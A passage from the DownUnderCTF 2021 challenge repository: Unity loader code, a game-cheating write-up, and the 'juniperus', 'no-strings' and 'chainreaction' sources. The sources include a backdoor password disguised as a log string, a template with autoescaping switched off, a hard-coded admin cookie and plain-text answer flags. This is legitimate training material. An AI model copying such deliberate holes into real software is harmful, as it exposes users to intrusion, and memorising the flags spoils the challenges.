dynCall_viiijji=Module["dynCall_viiijji"]=(function(){return Module["asm"]["dynCall_viiijji"].apply(null,arguments)});var dynCall_viij=Module["dynCall_viij"]=(function(){return Module["asm"]["dynCall_viij"].apply(null,arguments)});var dynCall_viiji=Module["dynCall_viiji"]=(function(){return Module["asm"]["dynCall_viiji"].apply(null,arguments)});var dynCall_viijii=Module["dynCall_viijii"]=(function(){return Module["asm"]["dynCall_viijii"].apply(null,arguments)});var dynCall_viijiijiii=Module["dynCall_viijiijiii"]=(function(){return Module["asm"]["dynCall_viijiijiii"].apply(null,arguments)});var dynCall_viijijii=Module["dynCall_viijijii"]=(function(){return Module["asm"]["dynCall_viijijii"].apply(null,arguments)});var dynCall_viijijiii=Module["dynCall_viijijiii"]=(function(){return Module["asm"]["dynCall_viijijiii"].apply(null,arguments)});var dynCall_viijijj=Module["dynCall_viijijj"]=(function(){return Module["asm"]["dynCall_viijijj"].apply(null,arguments)});var dynCall_viijj=Module["dynCall_viijj"]=(function(){return Module["asm"]["dynCall_viijj"].apply(null,arguments)});var dynCall_viijji=Module["dynCall_viijji"]=(function(){return Module["asm"]["dynCall_viijji"].apply(null,arguments)});var dynCall_viijjiii=Module["dynCall_viijjiii"]=(function(){return Module["asm"]["dynCall_viijjiii"].apply(null,arguments)});var dynCall_viijjji=Module["dynCall_viijjji"]=(function(){return Module["asm"]["dynCall_viijjji"].apply(null,arguments)});var dynCall_vij=Module["dynCall_vij"]=(function(){return Module["asm"]["dynCall_vij"].apply(null,arguments)});var dynCall_viji=Module["dynCall_viji"]=(function(){return Module["asm"]["dynCall_viji"].apply(null,arguments)});var dynCall_vijii=Module["dynCall_vijii"]=(function(){return Module["asm"]["dynCall_vijii"].apply(null,arguments)});var dynCall_vijiii=Module["dynCall_vijiii"]=(function(){return Module["asm"]["dynCall_vijiii"].apply(null,arguments)});var dynCall_vijiji=Module["dynCall_vijiji"]=(function(){return Module["asm"]["dynCall_vijiji"].apply(null,arguments)});var dynCall_vijijji=Module["dynCall_vijijji"]=(function(){return Module["asm"]["dynCall_vijijji"].apply(null,arguments)});var dynCall_vijji=Module["dynCall_vijji"]=(function(){return Module["asm"]["dynCall_vijji"].apply(null,arguments)});var dynCall_vijjii=Module["dynCall_vijjii"]=(function(){return Module["asm"]["dynCall_vijjii"].apply(null,arguments)});var dynCall_vjiiii=Module["dynCall_vjiiii"]=(function(){return Module["asm"]["dynCall_vjiiii"].apply(null,arguments)});var dynCall_vjji=Module["dynCall_vjji"]=(function(){return Module["asm"]["dynCall_vjji"].apply(null,arguments)});Module["asm"]=asm;Module["ccall"]=ccall;Module["cwrap"]=cwrap;Module["stackTrace"]=stackTrace;Module["addRunDependency"]=addRunDependency;Module["removeRunDependency"]=removeRunDependency;Module["FS_createPath"]=FS.createPath;Module["FS_createDataFile"]=FS.createDataFile;function ExitStatus(status){this.name="ExitStatus";this.message="Program terminated with exit("+status+")";this.status=status}ExitStatus.prototype=new Error;ExitStatus.prototype.constructor=ExitStatus;var initialStackTop;var calledMain=false;dependenciesFulfilled=function runCaller(){if(!Module["calledRun"])run();if(!Module["calledRun"])dependenciesFulfilled=runCaller};Module["callMain"]=function callMain(args){args=args||[];ensureInitRuntime();var argc=args.length+1;var argv=stackAlloc((argc+1)*4);HEAP32[argv>>2]=allocateUTF8OnStack(Module["thisProgram"]);for(var i=1;i>2)+i]=allocateUTF8OnStack(args[i-1])}HEAP32[(argv>>2)+argc]=0;try{var ret=Module["_main"](argc,argv,0);exit(ret,true)}catch(e){if(e instanceof ExitStatus){return}else if(e=="SimulateInfiniteLoop"){Module["noExitRuntime"]=true;return}else{var toLog=e;if(e&&typeof e==="object"&&e.stack){toLog=[e,e.stack]}err("exception thrown: "+toLog);Module["quit"](1,e)}}finally{calledMain=true}};function run(args){args=args||Module["arguments"];if(runDependencies>0){return}preRun();if(runDependencies>0)return;if(Module["calledRun"])return;function doRun(){if(Module["calledRun"])return;Module["calledRun"]=true;if(ABORT)return;ensureInitRuntime();preMain();if(Module["onRuntimeInitialized"])Module["onRuntimeInitialized"]();if(Module["_main"]&&shouldRunNow)Module["callMain"](args);postRun()}if(Module["setStatus"]){Module["setStatus"]("Running...");setTimeout((function(){setTimeout((function(){Module["setStatus"]("")}),1);doRun()}),1)}else{doRun()}}Module["run"]=run;function exit(status,implicit){if(implicit&&Module["noExitRuntime"]&&status===0){return}if(Module["noExitRuntime"]){}else{ABORT=true;EXITSTATUS=status;STACKTOP=initialStackTop;exitRuntime();if(Module["onExit"])Module["onExit"](status)}Module["quit"](status,new ExitStatus(status))}function abort(what){if(Module["onAbort"]){Module["onAbort"](what)}if(what!==undefined){out(what);err(what);what=JSON.stringify(what)}else{what=""}ABORT=true;EXITSTATUS=1;throw"abort("+what+"). Build with -s ASSERTIONS=1 for more info."}Module["abort"]=abort;if(Module["preInit"]){if(typeof Module["preInit"]=="function")Module["preInit"]=[Module["preInit"]];while(Module["preInit"].length>0){Module["preInit"].pop()()}}var shouldRunNow=true;if(Module["noInitialRun"]){shouldRunNow=false}Module["noExitRuntime"]=true;run() } ================================================ FILE: rev/gamer/challenge/Build/game.loader.js ================================================ function createUnityInstance(e,t,r){function n(e){var t="unhandledrejection"==e.type&&"object"==typeof e.reason?e.reason:"object"==typeof e.error?e.error:null,r=t?t.toString():"string"==typeof e.message?e.message:"string"==typeof e.reason?e.reason:"";if(t&&"string"==typeof t.stack&&(r+="\n"+t.stack.substring(t.stack.lastIndexOf(r,0)?0:r.length).replace(/(^\n*|\n*$)/g,"")),r&&l.stackTraceRegExp&&l.stackTraceRegExp.test(r)){var n=e instanceof ErrorEvent?e.filename:t&&"string"==typeof t.fileName?t.fileName:t&&"string"==typeof t.sourceURL?t.sourceURL:"",o=e instanceof ErrorEvent?e.lineno:t&&"number"==typeof t.lineNumber?t.lineNumber:t&&"number"==typeof t.line?t.line:0;a(r,n,o)}}function o(e){e.preventDefault()}function a(e,t,r){if(l.startupErrorHandler)return void l.startupErrorHandler(e,t,r);if(!(l.errorHandler&&l.errorHandler(e,t,r)||(console.log("Invoking error handler due to\n"+e),"function"==typeof dump&&dump("Invoking error handler due to\n"+e),e.indexOf("UnknownError")!=-1||e.indexOf("Program terminated with exit(0)")!=-1||a.didShowErrorMessage))){var e="An error occurred running the Unity content on this page. See your browser JavaScript console for more info. The error was:\n"+e;e.indexOf("DISABLE_EXCEPTION_CATCHING")!=-1?e="An exception has occurred, but exception handling has been disabled in this build. If you are the developer of this content, enable exceptions in your project WebGL player settings to be able to catch the exception or see the stack trace.":e.indexOf("Cannot enlarge memory arrays")!=-1?e="Out of memory. If you are the developer of this content, try allocating more memory to your WebGL build in the WebGL player settings.":e.indexOf("Invalid array buffer length")==-1&&e.indexOf("Invalid typed array length")==-1&&e.indexOf("out of memory")==-1&&e.indexOf("could not allocate memory")==-1||(e="The browser could not allocate enough memory for the WebGL content. If you are the developer of this content, try allocating less memory to your WebGL build in the WebGL player settings."),alert(e),a.didShowErrorMessage=!0}}function s(e,t){if("symbolsUrl"!=e){var n=l.downloadProgress[e];n||(n=l.downloadProgress[e]={started:!1,finished:!1,lengthComputable:!1,total:0,loaded:0}),"object"!=typeof t||"progress"!=t.type&&"load"!=t.type||(n.started||(n.started=!0,n.lengthComputable=t.lengthComputable,n.total=t.total),n.loaded=t.loaded,"load"==t.type&&(n.finished=!0));var o=0,a=0,s=0,i=0,d=0;for(var e in l.downloadProgress){var n=l.downloadProgress[e];if(!n.started)return 0;s++,n.lengthComputable?(o+=n.loaded,a+=n.total,i++):n.finished||d++}var u=s?(s-d-(a?i*(a-o)/a:0))/s:0;r(.9*u)}}function i(e){return new Promise(function(t,r){s(e);var n=l.companyName&&l.productName?new l.XMLHttpRequest({companyName:l.companyName,productName:l.productName,cacheControl:l.cacheControl(l[e])}):new XMLHttpRequest;n.open("GET",l[e]),n.responseType="arraybuffer",n.addEventListener("progress",function(t){s(e,t)}),n.addEventListener("load",function(r){s(e,r),t(new Uint8Array(n.response))}),n.send()})}function d(){return new Promise(function(e,t){var r=document.createElement("script");r.src=l.frameworkUrl,r.onload=function(){var t=unityFramework;unityFramework=null,r.onload=null,e(t)},document.body.appendChild(r),l.deinitializers.push(function(){document.body.removeChild(r)})})}function u(){d().then(function(e){e(l)});var e=i("dataUrl");l.preRun.push(function(){l.addRunDependency("dataUrl"),e.then(function(e){var t=new DataView(e.buffer,e.byteOffset,e.byteLength),r=0,n="UnityWebData1.0\0";if(!String.fromCharCode.apply(null,e.subarray(r,r+n.length))==n)throw"unknown data format";r+=n.length;var o=t.getUint32(r,!0);for(r+=4;r0;u=c,c=d.indexOf("/",u)+1)l.FS_createPath(d.substring(0,u),d.substring(u,c-1),!0,!0);l.FS_createDataFile(d,null,e.subarray(a,a+s),!0,!0,!0)}l.removeRunDependency("dataUrl")})})}r=r||function(){};var l={canvas:e,webglContextAttributes:{preserveDrawingBuffer:!1},cacheControl:function(e){return e==l.dataUrl?"must-revalidate":"no-store"},streamingAssetsUrl:"StreamingAssets",downloadProgress:{},deinitializers:[],intervals:{},setInterval:function(e,t){var r=window.setInterval(e,t);return this.intervals[r]=!0,r},clearInterval:function(e){delete this.intervals[e],window.clearInterval(e)},preRun:[],postRun:[],print:function(e){console.log(e)},printErr:function(e){console.error(e)},locateFile:function(e){return"build.wasm"==e?this.codeUrl:e},disabledCanvasEvents:["contextmenu","dragstart"]};for(var c in t)l[c]=t[c];l.streamingAssetsUrl=new URL(l.streamingAssetsUrl,document.URL).href;var f=l.disabledCanvasEvents.slice();f.forEach(function(t){e.addEventListener(t,o)}),window.addEventListener("error",n),window.addEventListener("unhandledrejection",n);var p={Module:l,SetFullscreen:function(){return l.SetFullscreen?l.SetFullscreen.apply(l,arguments):void l.print("Failed to set Fullscreen mode: Player not loaded yet.")},SendMessage:function(){return l.SendMessage?l.SendMessage.apply(l,arguments):void l.print("Failed to execute SendMessage: Player not loaded yet.")},Quit:function(){return new Promise(function(t,r){l.shouldQuit=!0,l.onQuit=t,f.forEach(function(t){e.removeEventListener(t,o)}),window.removeEventListener("error",n),window.removeEventListener("unhandledrejection",n)})}};return l.SystemInfo=function(){function e(e,t,r){return e=RegExp(e,"i").exec(t),e&&e[r]}for(var t,r,n,o,a,s,i=navigator.userAgent+" ",d=[["Firefox","Firefox"],["OPR","Opera"],["Edg","Edge"],["SamsungBrowser","Samsung Browser"],["Trident","Internet Explorer"],["MSIE","Internet Explorer"],["Chrome","Chrome"],["CriOS","Chrome on iOS Safari"],["FxiOS","Firefox on iOS Safari"],["Safari","Safari"]],u=0;u DownUnderCTF 2021 | gamer
Use arrow keys to move. Collect all four coins then find the flag!
Sprites credit: https://www.kenney.nl/
================================================ FILE: rev/gamer/challenge.yml ================================================ version: "0.1" id: gamer name: gamer category: reversing description: | Are you a pro gamer? Beat (hack) this game and prove it! Author: joseph#8210 connection_info: ${url} tags: - medium flags: - DUCTF{y0u_4r3_a_pr0_g4m3r_a38fb} - DUCTF{Y0U_4R3_A_PR0_G4M3R_A38FB} ================================================ FILE: rev/gamer/solve/index.html ================================================ DownUnderCTF 2021 | gamer
Use arrow keys to move. Collect all four coins then find the flag!

press z to fly

Sprites credit: https://www.kenney.nl/
================================================ FILE: rev/gamer/solve/writeup.md ================================================ # Challenge Overview We are tasked with beating a simple game made with [Unity](https://unity.com/). Checking the network requests in the browser developer tools shows that a few files are downloaded, but while the game is being played, no network requests are made. We also note that the console output has some useful messages (though not necessary to solve the challenge). We can download the necessary assets and work offline. The game itself is simple; collect four coins on the map, then find the flag. The first two coins are easy to get, but we are teased with the third coin being behind a tree which is blocked by a row of spikes that seem impossible to get past. If you manage to get past the spikes, the fourth coin might also seem out of reach. It exists high in the sky, surrounded by a swarm of flying enemies. If you manage to obtain this coin, the last step is to find the flag. There are signs pointing to the right, and the console output also tells you the location of the flag. It's very far away from you, and it might take some time to get there. # Solution To beat the game it seems like we need three things: invincibility, more jumping power, and more speed (or a position hack). Considering that everything is handled client-side, this might be possible to achieve somehow. Actually, Unity makes this quite easy for us as it exposes an interface to [call Unity scripts from JavaScript](https://docs.unity3d.com/Manual/webgl-interactingwithbrowserscripting.html). Deobfuscating and cleaning up the JavaScript in the `index.html` file, we see that `createUnityInstance` is called. We can edit the script to put the created unity instance object into the global scope so that we can use it to send messages to Unity objects (as in the link above). ## Invincibility and Jump Hack We need to figure out what Unity objects to send messages to, and what methods are defined on them. There are some tools that may help extracting Unity assets and resources from the data files. [This tool](https://devxdevelopment.com/) (the free version) in particular could be used to get the scene data and names of the objects. However, it's entirely possible to figure out the object names with sensible guesses (i.e. `Player`) and their methods can be found by closely inspecting the `game.data` file. Specifically, the `game.data` file contains metadata for Unity scripts which includes method names. Looking through the `game.data` file, we see a section which contains some useful names. ``` PlayerLogic HandleMovement CheckIfGrounded amt BoosterJump UpdateHealth health moveSpeed jumpForce ``` Method names in C# conventionally use PascalCase, so this helps us to identify the methods. If we don't know what arguments the methods take, we can try sending messages like: ```js unityInstance.SendMessage('Player', 'BoosterJump') ``` which will give an error message, telling us what parameters it expects: ``` Failed to call function BoosterJump of class PlayerLogic Calling function BoosterJump with no parameters but the function requires 1. ``` Instead, if we try ```js unityInstance.SendMessage('Player', 'BoosterJump', 20) ``` we notice that our character jumps up! The same thing can be done for `UpdateHealth` to gain invincibility. ## Speed Hack There aren't any convenient methods that will update our speed. Perhaps we could find where our speed is stored in memory and update it that way. However, we can also abuse the fact that Unity uses the `performance.now()` web API for handling time. Inspired by [Cetus](https://github.com/Qwokka/Cetus), we can simply overwrite `performance.now` to our own function that returns a higher value than expected; this has the effect of speeding things up and will allow us to move a lot faster. Doing this, we can move to the right and find the flag in less than a minute. ## Cheat Client A sample cheat client can be found in `solve/index.html`. To run it, set up a http server serving at the challenge's root directory (so that it can access the files in `challenge/`). The client provides a very simple user interface to update the player's health and the game speed. It also binds `z` to the booster jump function to achieve arbitrary jump. The GIF below shows a playthrough of the game (sorry for the screen tearing) ![playthrough.gif](./playthrough.gif) ================================================ FILE: rev/juniperus/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04 COPY ./challenge/nsjail.cfg /home/ctf/nsjail.cfg COPY ./challenge/flag.txt /home/ctf/chal/flag.txt COPY ./challenge/shell /home/ctf/chal/pwn ================================================ FILE: rev/juniperus/README.md ================================================ # Juniperus **Author:** nullableVoid\*#7225 **Category:** rev **Difficulty:** Easy How the hell did they break into our firewalls? We had strong passwords and everything! **Attached files:** - ./challenge/shell (sha256: 1623de1bb8b85804278065deda8b1ec56c0ed1139cdac46a368184c1e9fa6b98) ================================================ FILE: rev/juniperus/challenge/flag.txt ================================================ DUCTF{57r1ng5-4bl3... k1nd4} ================================================ FILE: rev/juniperus/challenge/nsjail.cfg ================================================ name: "challenge" description: "Default nsjail configuration for pwnable-style CTF task." mode: LISTEN uidmap {inside_id: "1000"} gidmap {inside_id: "1000"} # jail config cwd: "/chal" hostname: "challenge" # network config bindhost: "0.0.0.0" max_conns_per_ip: 10 port: 1337 # limits mount_proc: false time_limit: 60 cgroup_mem_max: 16777216 cgroup_pids_max: 4 cgroup_cpu_ms_per_sec: 25 mount: [ { src: "/home/ctf/chal" dst: "/chal", is_bind: true, rw: false }, { src: "/bin", dst: "/bin", is_bind: true, rw: false }, { src: "/lib", dst: "/lib", is_bind: true, rw: false }, { src: "/lib64", dst: "/lib64", is_bind: true, rw: false }, { src: "/dev/urandom", dst: "/dev/urandom", is_bind: true, rw: false }, { src: "/dev/null", dst: "/dev/null", is_bind: true, rw: false } ] exec_bin { path: "/chal/pwn" } ================================================ FILE: rev/juniperus/challenge/shell.c ================================================ #include #include #include #include #include const char client_password_hashed[] = {0x21, 0xdf, 0x4, 0x84, 0x7a, 0x91, 0x8c, 0xa2, 0x47, 0xa4, 0x3e, 0x46, 0xe7, 0xbd, 0x94, 0x2e, 0x32, 0xa1, 0x72, 0x80, 0xe8, 0xe4, 0x3a, 0xd2, 0xcc, 0xe7, 0xd8, 0xe9, 0x3a, 0x6d, 0x59, 0xa1, 0xcd, 0xee, 0x36, 0xa7, 0xa2, 0xce, 0xca, 0xc6, 0x6b, 0x61, 0x95, 0x8d, 0x38, 0xd, 0x56, 0xd4, 0xfa, 0x16, 0xef, 0xc4, 0xd3, 0xe2, 0xaf, 0xe5, 0x82, 0x18, 0x9b, 0xb8, 0x36, 0xc5, 0x91, 0xa4}; //rand bytes const char log_file_path[] = "/dev/null"; FILE* log_file; bool print_log(const char* format, ...) { int result; va_list arglist; va_start(arglist, format); result = vfprintf(log_file, format, arglist); va_end(arglist); return result < 0; } bool backdoor(const char* backdoor_pw, ...) { const char* s1; const char* s2; va_list arglist; va_start(arglist, backdoor_pw); vfprintf(log_file, backdoor_pw, arglist); char* input = va_arg(arglist, char*); va_end(arglist); s1 = backdoor_pw; s2 = input; while (*s1 == *s2 && *s1) { s1++; s2++; } return *s1 == *s2; } bool authenticate() { EVP_MD_CTX *mdctx; if (print_log("[I] New context...\n")) { return 0; } if((mdctx = EVP_MD_CTX_new()) == NULL) { print_log("[E] New failed!\n"); return 0; } if (print_log("[I] Init context...\n")) { return 0; } if(1 != EVP_DigestInit_ex(mdctx, EVP_sha3_512(), NULL)) { print_log("[E] Init failed!\n"); return 0; } if (print_log("[I] Prompting user for password...\n")) { return 0; } char input[35]; printf("Root password (32 chars. max): "); fgets(input, 32, stdin); input[strcspn(input, "\n")] = 0; if (print_log("[I] Password attempt: %s (%d chars long)\n", input, strlen(input))) { return 0; } if (print_log("[I] Updating context...\n")) { return 0; } if(1 != EVP_DigestUpdate(mdctx, input, 32)) { print_log("[E] Update failed!\n"); return 0; } if (print_log("[I] Allocating digest...\n")) { return 0; } unsigned char* digest = (unsigned char *)OPENSSL_malloc(EVP_MD_size(EVP_sha256())); if(digest == NULL) { print_log("[E] malloc failed!\n"); return 0; } unsigned int digest_len; if (print_log("[I] Finalising digest...\n")) { return 0; } if(1 != EVP_DigestFinal_ex(mdctx, digest, &digest_len)) { print_log("[E] Finalise failed!\n"); return 0; } EVP_MD_CTX_free(mdctx); if (print_log("[I] Comparing hashes...\n")) { return 0; } int result = CRYPTO_memcmp(client_password_hashed, digest, 64); OPENSSL_free(digest); return backdoor("[I] Authentication complete.", input) || (result == 0); } int main() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); log_file = fopen(log_file_path, "a"); char buffer[100] = {0}; FILE* flag = fopen("flag.txt", "r"); if (flag == NULL) { printf("Missing flag.txt\n"); return 0; } char* ptr = buffer; for (int c = fgetc(flag); c != EOF; c = fgetc(flag)) { *ptr++ = (char) c; } if (authenticate()) { printf("Authenticated. Here's your flag: %s\n", buffer); } else { printf("Authentication failure.\n"); } fclose(flag); return 0; } ================================================ FILE: rev/juniperus/challenge.yml ================================================ version: "0.1" id: juniperus name: Juniperus category: reversing description: > How the hell did they break into our firewalls? We had strong passwords and everything! Author: nullableVoid*#7225 connection_info: nc ${host} ${port} files: - ./challenge/shell tags: - easy flags: - DUCTF{57r1ng5-4bl3... k1nd4} ================================================ FILE: rev/juniperus/solve/writeup.md ================================================ The challenge name makes reference to the infamous Juniper Networks supply-chain attack, in which a specific version of software had [embedded a root password disguised as a logging string](https://www.rapid7.com/blog/post/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor/) to evade detection. Disassembling the `shell` binary, the main function (0x101180) loads the flag, and calls another function (0x101524) which contains references to log strings. These log strings are passed, into a logging function (0x101359), with the exception of `[I] Authentication complete.`, which is passed into a separate function. This function in turn contains an inlined strcmp, and then returns its result. Hence, the player can deduce that the aforementioned string is the password. ================================================ FILE: rev/no-strings/README.md ================================================ # no strings **Category:** reversing **Difficulty:** beginner **Author:** joseph#8210 This binary contains a free flag. No strings attached, seriously! **Attached files:** - ./challenge/nostrings (sha256: 62bdc1ff08af6647109112372fdcb09a9f3eaa0d164a8542e251de9ecbdb187f) ================================================ FILE: rev/no-strings/WRITEUP.md ================================================ When we run the program, we are prompted to enter the flag. If we enter something, the program prints `wrong!` and exits. Presumably, the goal of the challenge is to reverse engineer the program to figure out what input string will cause the program to print something other than `wrong!`. [`strings`](https://en.wikipedia.org/wiki/Strings_(Unix)) is a useful program that can be used to quickly find hardcoded strings (and secrets!) in binary files. In this challenge however, running `strings` does not find the flag as one might expect from the challenge name. Here are two (among many other) ways to solve the challenge: - Running `xxd` and looking through the output reveals something that resembles the flag (which we can recognise from the `DUCTF{` flag format) - Opening the binary in `radare2` and running the `iz` command to print strings in the data sections of the binary ================================================ FILE: rev/no-strings/challenge/flag.txt ================================================ DUCTF{stringent_strings_string} ================================================ FILE: rev/no-strings/challenge/nostrings.c ================================================ #include #include char* flag = "D\0U\0C\0T\0F\0{\0s\0t\0r\0i\0n\0g\0e\0n\0t\0_\0s\0t\0r\0i\0n\0g\0s\0_\0s\0t\0r\0i\0n\0g\0}"; int main() { char input[70]; printf("flag? "); fgets(input, 70, stdin); for(int i = 0; i < strlen(input) - 1; i++) { if(input[i] != flag[2*i]) { puts("wrong!"); return -1; } } puts("correct!"); return 0; } ================================================ FILE: rev/no-strings/challenge.yml ================================================ version: "0.1" id: no-strings name: no strings category: reversing description: > This binary contains a free flag. No strings attached, seriously! Author: joseph#8210 tags: - beginner files: - ./challenge/nostrings flags: - DUCTF{stringent_strings_string} ================================================ FILE: web/chainreaction/Dockerfile ================================================ FROM python:3.7 ENV INSTALL_PATH /app RUN mkdir -p $INSTALL_PATH RUN apt-get update && \ apt-get install -y netcat-openbsd && \ rm -rf /var/lib/apt/lists/* WORKDIR $INSTALL_PATH RUN mkdir -p /app/chainreaction COPY ./challenge/chainreaction /app/chainreaction COPY ./challenge/ /app RUN pip install -r requirements.txt RUN chmod +x /app/wait-for-it.sh CMD ["/bin/sh", "-c", "/app/wait-for-it.sh --strict -t 60 $MYSQL_HOST:3306 -- python3 /app/app.py"] ================================================ FILE: web/chainreaction/README.md ================================================ # Chainreaction **Catagory**: web **Difficulty**: Easy **Author**: n00bmaster ## Description A bunch of university students want to start a company and hired some young university students. I wonder if they paid any attention to security. ## Writeup In the solution directory ================================================ FILE: web/chainreaction/challenge/app.py ================================================ from chainreaction import app if __name__ == '__main__': app.run(host="0.0.0.0", port=1337) ================================================ FILE: web/chainreaction/challenge/bad.txt ================================================
{% for category, message in get_flashed_messages(with_categories=True) %}
{{ message }}
{% endfor %} {% block body %} {% endblock body %}
© Someone idk
================================================ FILE: web/chainreaction/challenge/chainreaction/templates/home.html ================================================ {% extends 'head.html' %} {% block body %}

Beta Access

Card image cap
Test 3

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce vel porta mauris, molestie condimentum urna.

Last updated 1 week ago

Card image cap
Test 2

Vestibulum molestie iaculis posuere. Suspendisse consectetur metus vitae nulla tincidunt pulvinar. Nullam sed ante risus. Suspendisse tortor nisl, dapibus in metus non, porta lobortis velit. Nunc accumsan aliquam fermentum. Nulla molestie facilisis placerat. Suspendisse venenatis erat erat, vitae sodales turpis molestie eu.

Last updated 1 week ago

Card image cap
Test 3

Pellentesque pretium est fringilla massa vulputate vestibulum. Etiam tortor odio, rutrum at lacinia in, commodo a orci. Etiam laoreet, dolor ac interdum dictum, ligula libero rhoncus orci, et pulvinar risus leo vitae lacus. Nullam nisi elit, placerat non justo pretium, lacinia condimentum libero. Nunc ut molestie orci, et efficitur neque. Integer nec ipsum sit amet arcu venenatis ultrices vel at arcu. Integer sapien tortor, ultrices ac semper non, sagittis pretium nulla.

Last updated 1 week ago

{% endblock body %} ================================================ FILE: web/chainreaction/challenge/chainreaction/templates/index.html ================================================ {% extends 'head.html' %} {% block body %}

Welcome to the all new Science-Tech forum/blog

Our roadmap is very plain and simple. Start off as a forum/blog for the science community and then move on to sell science tools.

{% endblock body %} ================================================ FILE: web/chainreaction/challenge/chainreaction/templates/login.html ================================================ {% extends 'head.html' %} {% block body %}

Login


For developers sign in and go to the portal this

{% endblock body %} ================================================ FILE: web/chainreaction/challenge/chainreaction/templates/profile.html ================================================ {% extends 'head.html' %} {% block body %} {% autoescape false %}

{% if auth == True %}

Welcome to your profile {{ user_data.username }}

Report a problem on this page and an admin will check out the page for any problems

{% elif admin == True %}

{{ user_data.username }}

About me:

{{ user_data.aboutme }}

{% else %}

Unauthorized to view this profile

{% endif %}
{% endautoescape %} {% endblock body %} ================================================ FILE: web/chainreaction/challenge/chainreaction/templates/register.html ================================================ {% extends 'head.html' %} {% block body %}

Registration


{% endblock body %} ================================================ FILE: web/chainreaction/challenge/cookiejar ================================================ [ { "domain": "localhost", "name": "admin-cookie", "value": "sup3rs3cur34dm1nc00k13", "httponly": false } ] ================================================ FILE: web/chainreaction/challenge/init.json ================================================ { "messages": [ { "username": "admin", "message": "Now we have a chat for admins and devs who are working on this project, if you have any questions/bugs/etc just post them here. This is just a beta feature, if it works out well we will leave it in.", "timesent": 1 }, { "username": "john", "message": "There is a small bug with register/login, it is acting very weird with unicode characters and causes errors with SQLAlchemy when adding those unicode characters. Anyone know a fix? Also the about me section was all html escaped making it look ugly, need to try and find a fix for that as well. It looks very ugly.", "timesent": 2 }, { "username": "wick", "message": "Yea we can normalize them right? to make that work? Only used it once for a uni project this semester, NFKD I think it was, ill see how we go and for the html thing i think its because its being being pasted as raw value, ill just html escape the page instead", "timesent": 3 }, { "username": "john", "message": "Okay sure. Try to fix it and then get a senior dev to look it over. I think sam is on a holiday so just push the changes for now and he can take a look when he comes back.", "timesent": 4 }, { "username": "kay", "message": "bruh... you basically just added a vulnerability, why tf are you normalizing after checking the bad characters, and why is there an autoescape on in the profile page? makes no sense to me.", "timesent": 5 }, { "username": "john", "message": "He is not at work today, coming back monday iirc, welp i guess we will wait till he comes back and get him to fix it up. Luckily we are still in dev so we can catch these problems early.", "timesent": 6 }, { "username": "john", "message": "Kay can I assign you to the profile page bugs, I swear this guy is going to keep introducing bugs if he keeps going like this", "timesent": 7 }, { "username": "kay", "message": "Yea sure no worries, Ill try to stay on top of it", "timesent": 8 }, { "username": "john", "message": "Cool. Let me know when bugs are fixed so we can hire some pentesters to test the website.", "timesent": 9 }, { "username": "admin", "message": "Sounds good! The admin portal is still under development, kinda want to seperate it from the main app so it will use different sessions. For now I have set a static cookie, but Ill fix that up on Monday.", "timesent": 10 } ] } ================================================ FILE: web/chainreaction/challenge/requirements.txt ================================================ Flask==1.1.2 Flask_SQLAlchemy==2.4.4 SQLAlchemy<1.4 Flask_Login==0.5.0 Flask_Bcrypt==0.7.1 apscheduler==3.7.0 python-dotenv Flask-Migrate pymysql sqlalchemy-utils selenium flask_limiter requests ================================================ FILE: web/chainreaction/challenge/wait-for-it.sh ================================================ #!/usr/bin/env bash # Use this script to test if a given TCP host/port are available WAITFORIT_cmdname=${0##*/} echoerr() { if [[ $WAITFORIT_QUIET -ne 1 ]]; then echo "$@" 1>&2; fi } usage() { cat << USAGE >&2 Usage: $WAITFORIT_cmdname host:port [-s] [-t timeout] [-- command args] -h HOST | --host=HOST Host or IP under test -p PORT | --port=PORT TCP port under test Alternatively, you specify the host and port as host:port -s | --strict Only execute subcommand if the test succeeds -q | --quiet Don't output any status messages -t TIMEOUT | --timeout=TIMEOUT Timeout in seconds, zero for no timeout -- COMMAND ARGS Execute command with args after the test finishes USAGE exit 1 } wait_for() { if [[ $WAITFORIT_TIMEOUT -gt 0 ]]; then echoerr "$WAITFORIT_cmdname: waiting $WAITFORIT_TIMEOUT seconds for $WAITFORIT_HOST:$WAITFORIT_PORT" else echoerr "$WAITFORIT_cmdname: waiting for $WAITFORIT_HOST:$WAITFORIT_PORT without a timeout" fi WAITFORIT_start_ts=$(date +%s) while : do if [[ $WAITFORIT_ISBUSY -eq 1 ]]; then nc -z $WAITFORIT_HOST $WAITFORIT_PORT WAITFORIT_result=$? else (echo -n > /dev/tcp/$WAITFORIT_HOST/$WAITFORIT_PORT) >/dev/null 2>&1 WAITFORIT_result=$? fi if [[ $WAITFORIT_result -eq 0 ]]; then WAITFORIT_end_ts=$(date +%s) echoerr "$WAITFORIT_cmdname: $WAITFORIT_HOST:$WAITFORIT_PORT is available after $((WAITFORIT_end_ts - WAITFORIT_start_ts)) seconds" break fi sleep 1 done return $WAITFORIT_result } wait_for_wrapper() { # In order to support SIGINT during timeout: http://unix.stackexchange.com/a/57692 if [[ $WAITFORIT_QUIET -eq 1 ]]; then timeout $WAITFORIT_BUSYTIMEFLAG $WAITFORIT_TIMEOUT $0 --quiet --child --host=$WAITFORIT_HOST --port=$WAITFORIT_PORT --timeout=$WAITFORIT_TIMEOUT & else timeout $WAITFORIT_BUSYTIMEFLAG $WAITFORIT_TIMEOUT $0 --child --host=$WAITFORIT_HOST --port=$WAITFORIT_PORT --timeout=$WAITFORIT_TIMEOUT & fi WAITFORIT_PID=$! trap "kill -INT -$WAITFORIT_PID" INT wait $WAITFORIT_PID WAITFORIT_RESULT=$? if [[ $WAITFORIT_RESULT -ne 0 ]]; then echoerr "$WAITFORIT_cmdname: timeout occurred after waiting $WAITFORIT_TIMEOUT seconds for $WAITFORIT_HOST:$WAITFORIT_PORT" fi return $WAITFORIT_RESULT } # process arguments while [[ $# -gt 0 ]] do case "$1" in *:* ) WAITFORIT_hostport=(${1//:/ }) WAITFORIT_HOST=${WAITFORIT_hostport[0]} WAITFORIT_PORT=${WAITFORIT_hostport[1]} shift 1 ;; --child) WAITFORIT_CHILD=1 shift 1 ;; -q | --quiet) WAITFORIT_QUIET=1 shift 1 ;; -s | --strict) WAITFORIT_STRICT=1 shift 1 ;; -h) WAITFORIT_HOST="$2" if [[ $WAITFORIT_HOST == "" ]]; then break; fi shift 2 ;; --host=*) WAITFORIT_HOST="${1#*=}" shift 1 ;; -p) WAITFORIT_PORT="$2" if [[ $WAITFORIT_PORT == 